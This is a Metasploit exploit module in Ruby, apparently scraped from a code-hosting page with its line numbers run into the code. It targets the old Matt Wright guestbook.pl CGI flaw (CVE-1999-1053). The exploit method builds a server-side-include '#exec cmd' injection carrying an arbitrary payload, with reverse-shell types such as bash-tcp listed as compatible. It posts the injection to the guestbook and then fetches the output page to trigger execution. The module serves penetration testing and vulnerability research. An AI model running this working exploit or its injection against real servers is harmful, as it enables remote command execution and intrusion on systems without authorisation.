Path: blob/master/modules/exploits/unix/webapp/guestbook_ssi_exec.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Matt Wright guestbook.pl Arbitrary Command Execution',15'Description' => %q{16The Matt Wright guestbook.pl <= v2.3.1 CGI script contains17a flaw that may allow arbitrary command execution. The vulnerability18requires that HTML posting is enabled in the guestbook.pl script, and19that the web server must have the Server-Side Include (SSI) script20handler enabled for the '.html' file type. By combining the script21weakness with non-default server configuration, it is possible to exploit22this vulnerability successfully.23},24'Author' => [ 'aushack' ],25'License' => MSF_LICENSE,26'References' => [27[ 'CVE', '1999-1053' ],28[ 'OSVDB', '84' ],29[ 'BID', '776' ],30],31'Privileged' => false,32'Payload' => {33'DisableNops' => true,34'Space' => 1024,35'Compat' =>36{37'PayloadType' => 'cmd cmd_bash',38'RequiredCmd' => 'generic perl ruby python bash-tcp telnet',39}40},41'Platform' => %w{linux unix win},42'Arch' => ARCH_CMD,43'Targets' => [[ 'Automatic', {}]],44'DisclosureDate' => '1999-11-05',45'DefaultTarget' => 0,46'Notes' => {47'Reliability' => UNKNOWN_RELIABILITY,48'Stability' => UNKNOWN_STABILITY,49'SideEffects' => UNKNOWN_SIDE_EFFECTS50}51)52)5354register_options(55[56OptString.new('URI', [true, "guestbook.pl script path", "/cgi-bin/guestbook.pl"]),57OptString.new('URIOUT', [true, "guestbook.html output", "/guestbook/guestbook.html"]),58]59)60end6162def exploit63realname = rand_text_alphanumeric(20)64email = rand_text_alphanumeric(20)65city = rand_text_alphanumeric(20)66state = rand_text_alphanumeric(20)67country = rand_text_alphanumeric(20)6869sploit = Rex::Text.uri_encode("<!--#exec cmd=\"" + payload.encoded.gsub('"', '\"') + "\"", 'hex-normal')7071req1 = send_request_cgi({72'uri' => normalize_uri(datastore['URI']),73'method' => 'POST',74'data' => "realname=#{realname}&username=#{email}&city=#{city}&state=#{state}&country=#{country}&comments=#{sploit}",75}, 25)7677req2 = send_request_raw({78'uri' => normalize_uri(datastore['URIOUT']),79}, 25)80end81end828384